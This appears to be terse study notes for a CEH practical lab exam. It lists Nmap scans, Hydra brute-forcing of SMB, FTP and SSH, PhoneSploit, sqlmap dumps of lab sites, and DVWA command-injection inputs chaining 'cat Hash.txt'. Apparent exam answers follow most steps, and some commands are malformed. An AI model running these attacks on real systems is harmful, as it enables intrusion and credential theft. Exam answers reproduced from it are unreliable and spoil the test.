a. FQDN Commands.

Nmap -sS -sV -A -oN 192NET.txt 192.168.1.0/24

Nmap -sS -sV -A -oN 172NET.txt 172.16.0.1/24

Nmap -sS -sV -A -oN 10NET.txt 10.10.1.0/24 --- ->AdminTeam.ECCCEH.com -→ 172.20.0.16

b.Commands SMB:

Hydra -l henry -P /home/attacker/Desktop/password.txt 192.168.1.1 smb -f

Smbclient -L \\IP -U henry will list all directories.

Smbclient -u henry \\IP\Users\

ls

get sniff.txt

cat sniff.txt

python -m server.http--use BC Textencoder--→nvkwj2387

c. Android Commands:

Search for port 5555 & note IP—then run Phonesploit

Scan folder location /sdcard/Notification/Scan/

4x file with .elf ext

Sh384 online

Match the pattern -Format AnaA -→ 7aea

d.**Commands to perform vulnerability scan score**:

- gvm-start on terminal -→will give ip. Pu it in browser-→will open openvasp
- note IP from result and open into browser
- user OpenVAS credentials from notes provides by ECouncil

e. **Commands for remote login and command-line execution ssh networkpass.tst** :-

- Ssh
- Use hydra find user and password.-→ F56C8pc@

f. **Commands for steganography**

Opensteg in windows >> use extract option and select MyTrip.jpg

Use imagi-- as password --→ N7#SePFn

g. **Commands for FTP service/ FTP root:**

Hydra ftp://IP -l anonymous -e n

Hydra -L /home/attacker/username.txt -P /home/attacker/password.txt ftp:IP -f -V

ftp IP

enter username

enter password

ftp> ls

h. Priv escalation: smith and L1nux123. Access the Machine, Perform vertical privilege escalation to that of a root user, and enter the content of the imroot.txt file as the answer. -→ CSaag5tj

- Sudo -L will tell what user can do.
- Ssh smith@IP
- Enter password
- Ls
- Cd ..
- Ls
- Check each user
- Sudo Cd /root
- ls
-
- Dirtycow – try room privilege escalation-kernal exploit

i. Commandsfor **malware analysis** and find Entry point (Address):

- Malware analysis--→DIE → 0041e768

J. **Commands for SQL injection attack and find other user credentials**:

Access website and search for any search tab / login page.

- Login using karen credential
- Find search in web site
- Enter 12345
- Look URL for query
- Copy URL complete
- Sqlmap -u http://cinema.cehorg.com/search?query=1232 –dbs
- Sqlmap -u http://cinema.cehorg.com/search?query=1232 –D DBNAME --tables

- Use sqlmap to dump database-→tables--→password.

K. **Procedure for Exploit the web application:**

- Website.com/wp-admin--→ F#5JG8dr
- OR use gobuster and find directory. ---wp-admin.
- Now explore browser and we have to enter login credentials.
- Now, here we have to Use wpscan to enumerate user and passwords. Login and find pages.
- Flag will be there.

L. **How to do vulnerability research and exploit the web application flag.tst:** -→ p74NSHXz

- Find login page, and
- sqlmap -u http://cybersec.cehorg.com/search?query=12345 –dbs

M. **How to do SQL injection attack and find DB tables:.**

- Dvwa-low
- Perform sqlmap------→ abc123

N. **for DVWA and finding files.**

- Goto cmd injection in dvwa---→and in [127.0.0.1;cd source/; cat Hash.txt] [127.0.0.1 & cd source & type high.php]
- Just write \ hackable\uploads\ after http://172.20.0.16:8080/DVWA in browser. And copy hash.
- Make new file and paste hash, now use hashcat to reveal the content. -------→ Secret123

O. **WIFI captured files;**

- Use Simple use aircrack-ng and cmd.-→ password1

P. **For server access code and accessing that**:

nj -Rat --- CA#89bDC

q. **Wireshark**

DDOS --- 172.20.0.21

IQTT---39

r. **veracrypt**

C@tchm3

q. URLs for

(1) https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe
(2) https://nmap.org/dist/nmap-7.95-setup.exe
(3) https://portapps.io/download/wireshark-portable-win64-3.6.5-19-setup.exe/
(4) https://download.aircrack-ng.org/aircrack-ng-1.7-win.zip
(5) https://github.com/maaaaz/thc-hydra-windows?tab=readme-ov-file
(6) https://emn178.github.io/online-tools/sha384_file_hash.html